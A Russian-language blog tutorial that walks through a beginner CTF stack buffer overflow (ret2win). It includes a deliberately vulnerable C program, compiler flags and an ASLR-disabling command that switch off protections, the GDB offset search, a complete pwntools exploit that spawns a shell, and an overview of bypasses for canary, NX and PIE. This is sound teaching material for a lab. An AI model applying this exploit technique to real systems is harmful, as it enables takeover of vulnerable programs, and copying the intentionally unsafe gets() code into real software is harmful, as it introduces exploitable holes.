Главная / Блог / Buffer Overflow для начинающих: разбираем первый pwn-таск с переполнением стека

12 мин.00

Buffer Overflow для начинающих: разбираем первый pwn-таск с переполнением стека

Buffer Overflow для начинающих: разбираем первый pwn-таск с переполнением стека

Buffer Overflow для начинающих: разбираем первый pwn-таск с переполнением стека

Первый pwn-таск, который я решил на CTF, занял восемь часов. Из них шесть — на попытки понять, почему payload не срабатывает: неправильный offset, забытый флаг компиляции, перепутанный порядок байтов в адресе. Каждая из этих ошибок молча роняет бинарь в SIGSEGV без объяснений. Русскоязычные гайды по переполнению буфера обычно заканчиваются на «strcpy — опасная функция» и схематичной картинке стека, а до рабочего эксплойта дело не доходит. Здесь — полная цепочка: от компиляции уязвимого бинарника до момента, когда в терминале появляется $.

Место buffer overflow в цепочке атаки

Переполнение буфера в стеке — не академическая абстракция. В реальных атаках и на соревнованиях это точка входа, через которую атакующий перехватывает управление программой. По классификации MITRE ATT&CK переполнение буфера попадает под Exploitation for Client Execution (T1203, Execution) — когда уязвимость в приложении даёт выполнение произвольного кода, и Exploitation for Privilege Escalation (T1068, Privilege Escalation) — когда уязвимый бинарь работает с повышенными привилегиями, например с SUID-битом или от root. Подробнее — в нашем статье о бинарный анализ уязвимостей.

В модели kill chain stack overflow стоит на этапе эксплуатации:

  1. Разведка — определяем сервис с пользовательским вводом: сетевой демон, CLI-утилита с SUID-битом, форк-сервер
  2. Эксплуатация — переполняем буфер, перезаписываем адрес возврата, перенаправляем выполнение на нужный код
  3. Post-exploitation — из полученного shell закрепляемся, собираем данные или двигаемся по сети

На CTF эта цепочка сжата до одной задачи: вызвать функцию win() или запустить /bin/sh через перезапись адреса возврата. Такой сценарий называется ret2win, и именно его мы разберём от начала до конца.

Эксплуатация стека x86: как переполнение буфера в стеке даёт контроль над программой

Чтобы эксплуатировать buffer overflow, нужно понимать три вещи о стеке на архитектуре x86 (32-bit).

Регистры, без которых не обойтись:

  • EIP (Instruction Pointer) — адрес следующей инструкции, которую выполнит процессор. Контролируешь EIP — контролируешь программу. На x86-64 этот регистр называется RIP и занимает 8 байт вместо четырёх.
  • ESP (Stack Pointer) — указывает на текущую вершину стека. На 64-bit — RSP.
  • EBP (Base Pointer) — указывает на дно текущего стекового кадра, служит точкой отсчёта для доступа к локальным переменным и аргументам. На 64-bit — RBP.

Что происходит при вызове функции. Инструкция call кладёт в стек адрес следующей за ней инструкции — это адрес возврата, по которому функция вернётся после завершения. Дальше вызванная функция сохраняет текущий EBP (чтобы восстановить его при выходе) и выделяет место под локальные переменные, сдвигая ESP.

Стековый кадр для функции с локальным буфером buf выглядит так (стек на x86 растёт от старших адресов к младшим):

Адрес (от старших к младшим) Содержимое
Старшие адреса Аргументы функции
Адрес возврата (return address)
Сохранённый EBP (saved frame pointer)
Младшие адреса (вершина) Локальный буфер buf

А теперь критический момент: данные программы и управляющая информация лежат в одном непрерывном блоке памяти. Между буфером и адресом возврата нет никакой аппаратной границы — вообще ничего. Если программа пишет в buf больше данных, чем он вмещает, лишние байты последовательно затирают сохранённый EBP и адрес возврата. Когда функция выполняет ret, процессор снимает значение с вершины стека (уже перезаписанное) и загружает его в EIP. С этого момента выполнение идёт туда, куда указал атакующий.

В англоязычной Wikipedia это описано как «the canonical method for exploiting a stack-based buffer overflow» — перезапись адреса возврата указателем на контролируемые данные. Канонический, потому что работает уже лет тридцать.

На x86-64 принцип тот же, но адреса занимают 8 байт, и есть требование выравнивания стека на 16 байт перед вызовом функций. Нарушение выравнивания — частая причина segfault у тех, кто перешёл на 64-bit без подготовки: exploit вроде бы правильный, адрес правильный, а бинарь падает в movaps. Для первого таска работаем с 32-bit — тут таких подводных камней нет.

Минилаб для первого pwn-таска: стенд за 15 минут

Требования к окружению

  • ОС: Linux x86-64 (Ubuntu 22.04/24.04 или Kali Linux 2024+). Для 32-bit бинарей нужен пакет gcc-multilib
  • RAM: 2 ГБ минимум — хватит для одной VM или WSL2
  • Инструменты: GCC, GDB с плагином pwndbg (рекомендую) или GEF, Python 3.8+, pwntools
  • Установка 32-bit поддержки: sudo apt install gcc-multilib libc6-dev-i386
  • Установка pwntools: pip install pwntools
  • Установка pwndbg: клонировать репозиторий с GitHub и запустить setup.sh — он сам пропатчит .gdbinit
  • Отключение ASLR (на время практики): echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Уязвимая программа и компиляция

Минимальный уязвимый бинарь в стиле ret2win. Функция win() существует в коде, но штатно никогда не вызывается — задача атакующего до неё «добраться»:

#include <stdio.h>
#include <stdlib.h>
void win() { system("/bin/sh"); }
void vuln() {
    char buf[64];
    gets(buf);  // вот она, классика жанра
}
int main() {
    vuln();
    return 0;
}

Функция gets() читает ввод до символа новой строки, не проверяя длину — классическая уязвимость переполнения стека. GCC выдаст предупреждение «the gets function is dangerous». Именно эта опасность и делает задачу возможной.

Компилируем с отключёнными защитами: gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c. Флаг -m32 собирает 32-bit бинарь, -fno-stack-protector убирает stack canary, -z execstack делает стек исполняемым (пригодится для будущих задач с shellcode), -no-pie фиксирует адреса функций.

Проверяем защиты: checksec --file=vuln (утилита входит в pwntools). Ожидаемый результат — Canary: No, NX: disabled, PIE: No, RELRO: Partial. Если хотя бы одна защита включена — exploit в том виде, который мы пишем, не сработает.

Работает если: - Stack canary отключён (no -fstack-protector) - PIE отключён — адрес функции win() фиксирован - Архитектура x86 (32-bit) - ASLR отключён в системе или не влияет (при PIE off адреса бинаря фиксированы, хотя стек и библиотеки рандомизируются)

НЕ работает если: - Stack canary включён — запись за границы буфера перезапишет canary, и __stack_chk_fail завершит программу до выполнения ret - PIE включён — адрес win() рандомизирован при каждом запуске, нужна утечка адреса - Seccomp-фильтры ограничивают системные вызовы — даже при успешной перезаписи system("/bin/sh") будет заблокирован ядром

Находим offset до адреса возврата: GDB для отладки эксплойтов

Цель — определить, сколько именно байт нужно записать, чтобы следующие 4 байта легли точно в адрес возврата. Ни байтом больше, ни меньше.

Запускаем бинарь под отладчиком: gdb ./vuln. Если стоит pwndbg, при остановке процесса на экране сразу появится контекст: регистры, стек, дизассемблированный код — без дополнительных команд.

Генерируем циклический паттерн — уникальную последовательность, где каждая подстрока длиной 4 байта неповторима. В pwndbg прямо внутри GDB: cyclic 200. Или в отдельном терминале: python3 -c "from pwn import *; print(cyclic(200).decode())".

В GDB подаём паттерн на вход: run, вставляем строку. Программа упадёт с SIGSEGV, потому что EIP попытается перейти по адресу, который на самом деле — кусок нашего паттерна. pwndbg подсветит значение EIP — допустим, 0x6161616c.

Определяем позицию этой подстроки: cyclic -l 0x6161616c. Pwntools вернёт число — это и есть offset. Пусть в нашем случае получилось 76: первые 76 байт заполняют буфер и сохранённый EBP, а байты 77–80 ложатся ровно в адрес возврата.

Как показывает пример из курса UCSD CSE127, ту же величину можно получить в GDB командой p $ebp+4 - &buf[0] — результат будет расстоянием в байтах от начала буфера до адреса возврата.

Верификация. Подаём тестовый payload: 76 байт мусора и четыре символа 'B'. Если EIP стал 0x42424242 (ASCII-код 'B' — 0x42), offset правильный. Если нет — пересчитываем.

Три ошибки, на которых теряют часы:

  • Не та разрядность. Запускаете 64-bit бинарь и ищете 4-байтовый паттерн в EIP. На x86-64 при невалидном адресе RIP не загрузится — нужно смотреть значение на вершине стека (RSP) после crash'а и использовать 8-байтовый поиск.
  • Ручной подсчёт вместо cyclic. Соблазн посчитать «buf[64] + 4 байта EBP = 68» велик, но компилятор добавляет выравнивание, и реальный offset может оказаться 72, 76 или другим. Cyclic не ошибается. Ваша арифметика — может.
  • ASLR остался включён. Стек будет по разным адресам при каждом запуске. На поиск offset это не влияет (он относительный), но мешает воспроизводить результаты. Отключите командой echo 0 | sudo tee /proc/sys/kernel/randomize_va_space и верните обратно (echo 2) после практики.

Пишем exploit на pwntools: пример перезаписи адреса возврата

Нам нужен адрес функции win(). Получаем его через pwntools: elf = ELF('./vuln'); print(hex(elf.symbols['win'])). Или в GDB: p &win. Допустим, адрес — 0x08049196. PIE отключён, так что адрес будет одинаковым при каждом запуске.

from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

offset = 76  # найден через cyclic
payload = b'A' * offset       # забиваем буфер + saved EBP
payload += p32(elf.symbols['win'])  # перезаписываем ret addr

p.sendline(payload)
p.interactive()  # если win() сработала — тут будет shell

Что делает каждая строка:

ELF('./vuln') — парсит бинарь, вытаскивает таблицу символов с адресами функций и секций. process('./vuln') — запускает процесс локально (для удалённого CTF-сервера замените на remote('ctf.example.com', 1337)).

b'A' * offset — заполняет буфер и сохранённый EBP мусорными байтами. Буква 'A' выбрана для наглядности: 0x41 хорошо виден в hex-дампе.

p32(elf.symbols['win']) — упаковывает адрес в 4 байта формата little-endian. На x86 младший байт адреса идёт первым: 0x08049196 в памяти хранится как \x96\x91\x04\x08. Вот тут многие новички спотыкаются, записывая адрес в «человеческом» порядке. Не надо так.

p.sendline() — отправляет payload с символом новой строки (gets() ждёт именно его). p.interactive() — передаёт управление пользователю. Если win() запустила /bin/sh, в терминале появляется shell.

Запускаем: python3 exploit.py. Появился $ — переполнение стека сработало, адрес возврата перезаписан адресом win(), процессор выполнил system("/bin/sh").

Если вместо shell вылетает segfault — проверяем по порядку: правильность offset (повторите cyclic), правильность адреса (сверьте objdump -d vuln | grep win), порядок байтов (p32() делает little-endian автоматически — не пишите адрес руками). На x86-64 потребуется p64() вместо p32(), и нередко нужен дополнительный гаджет ret перед адресом win() для выравнивания стека на 16 байт.

Stack overflow CTF: защиты стека и когда этот exploit не сработает

В продакшн-бинарях и в продвинутых CTF-тасках защиты включены по умолчанию. Наш exploit работает только при их отсутствии — это осознанное упрощение для первого шага. Разберём каждую защиту и способ обхода.

Stack canary — случайное 4- или 8-байтовое значение, которое компилятор втыкает между локальными переменными и адресом возврата. Перед ret функция сравнивает текущее значение canary с эталоном. Если оно изменилось (а при переполнении оно неизбежно затирается), программа вызывает __stack_chk_fail и завершается до передачи управления по перезаписанному адресу. Обход: утечка значения canary через format string, побочный канал (timing, partial overwrite) или brute-force на fork-серверах, где canary не меняется между дочерними процессами.

NX (No-Execute) / DEP — запрещает исполнение кода в областях памяти, помеченных как «данные», включая стек. Даже если положить shellcode в буфер и перенаправить EIP туда, процессор выбросит исключение. Обход: ROP (Return-Oriented Programming) — использование коротких фрагментов (гаджетов) из уже загруженного исполняемого кода. Наш ret2win — простейший частный случай ROP: один «гаджет» — адрес нужной функции.

ASLR + PIE — рандомизация адресов. ASLR рандомизирует стек, кучу и адреса загруженных библиотек при каждом запуске. PIE делает то же для самого бинаря. Без PIE адрес win() фиксирован даже при включённом ASLR — поэтому наш exploit сработает. С PIE нужна утечка адреса через info leak (например, puts или printf на GOT-entry) или partial overwrite последнего байта.

Защита Что блокирует Типичный обход Сложность CTF-тасков
Stack canary Перезапись ret addr Format string leak, brute-force Средняя
NX (DEP) Shellcode на стеке ROP, ret2libc, ret2win Начальная-средняя
ASLR + PIE Фиксированные адреса Info leak, partial overwrite Средняя-высокая
Full RELRO Перезапись GOT-таблицы Иные write-примитивы (tcache, hooks) Высокая
Seccomp Syscall-фильтрация ORW (open-read-write), sigreturn Высокая

Первая команда после скачивания таска — checksec. По результату строится decision tree: canary off + NX off → shellcode или ret2win; NX on → ROP/ret2libc; PIE on → нужна утечка. Этот алгоритм экономит часы, которые новички тратят на перебор техник вслепую.

Инструменты для pwn CTF для новичков: что выбрать

Инструмент Преимущества Ограничения Когда использовать Когда не использовать
pwntools Полный цикл: pack/unpack, cyclic, ELF-парсинг, ROP-генератор, remote I/O Требует Python; порог входа без навыков скриптинга Написание exploit'ов, взаимодействие с remote Начальный реверс бинаря
GDB + pwndbg Контекст на одном экране: регистры, стек, код. Команды heap, got, rop CLI-only; крутая кривая обучения Динамический анализ, поиск offset, отладка payload'а Автоматизация remote-атак
GDB + GEF Альтернатива pwndbg с похожим UX, сильнее в скриптовых хуках Несовместим с pwndbg одновременно Те же сценарии — вопрос вкуса
Ghidra Бесплатный декомпилятор, граф вызовов, строковый анализ Тормозит на крупных бинарях; нет динамики Статический реверс: найти win(), понять логику Отладка и взаимодействие с процессом
checksec Мгновенная проверка всех защит бинаря Только статика Первая команда после скачивания таска Всё остальное

Мой рабочий workflow на каждом pwn-таске: checksec для определения защит → Ghidra для понимания логики (где уязвимый вызов, есть ли win()) → GDB с pwndbg для нахождения offset и отладки → pwntools для финального exploit'а. На бумаге формула понятна, но переполнение стека по-настоящему усваивается только когда сам видишь, как EIP превращается в 0x42424242. Потренироваться на кошках можно на picoCTF (задачи возрастающей сложности) и ROP Emporium (набор тасков, заточенных под ROP-техники).

Я убеждён, что pwn — самая недооценённая категория среди тех, кто идёт в наступательную безопасность. Веб-таски решают все, форензику берут аналитики, а binary exploitation требует понимания работы программы на уровне инструкций — и это знание не устаревает за полгода. ASLR, CFI, shadow stack — защиты усложняются с каждым поколением компиляторов, но базовый принцип один: если атакующий контролирует данные рядом с управляющими структурами, он контролирует выполнение.

Самая частая ошибка — перескакивать к ROP-цепочкам и heap exploitation, не разобравшись с простым ret2win. При неработающем exploit'е потом непонятно, где проблема: в offset'е, в адресе, в выравнивании стека или в самой цепочке. Начинайте с бинаря без защит, убедитесь что перезапись адреса возврата срабатывает, и только потом добавляйте по одной защите — canary, NX, PIE — каждый раз разбираясь, какую новую технику обхода она требует. Если хочешь не просто writeup, а пройти всю атаку самому через десятки уровней прогрессии — WAPT покрывает эту цепочку от базового overflow до ROP с лабой на каждый кейс.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...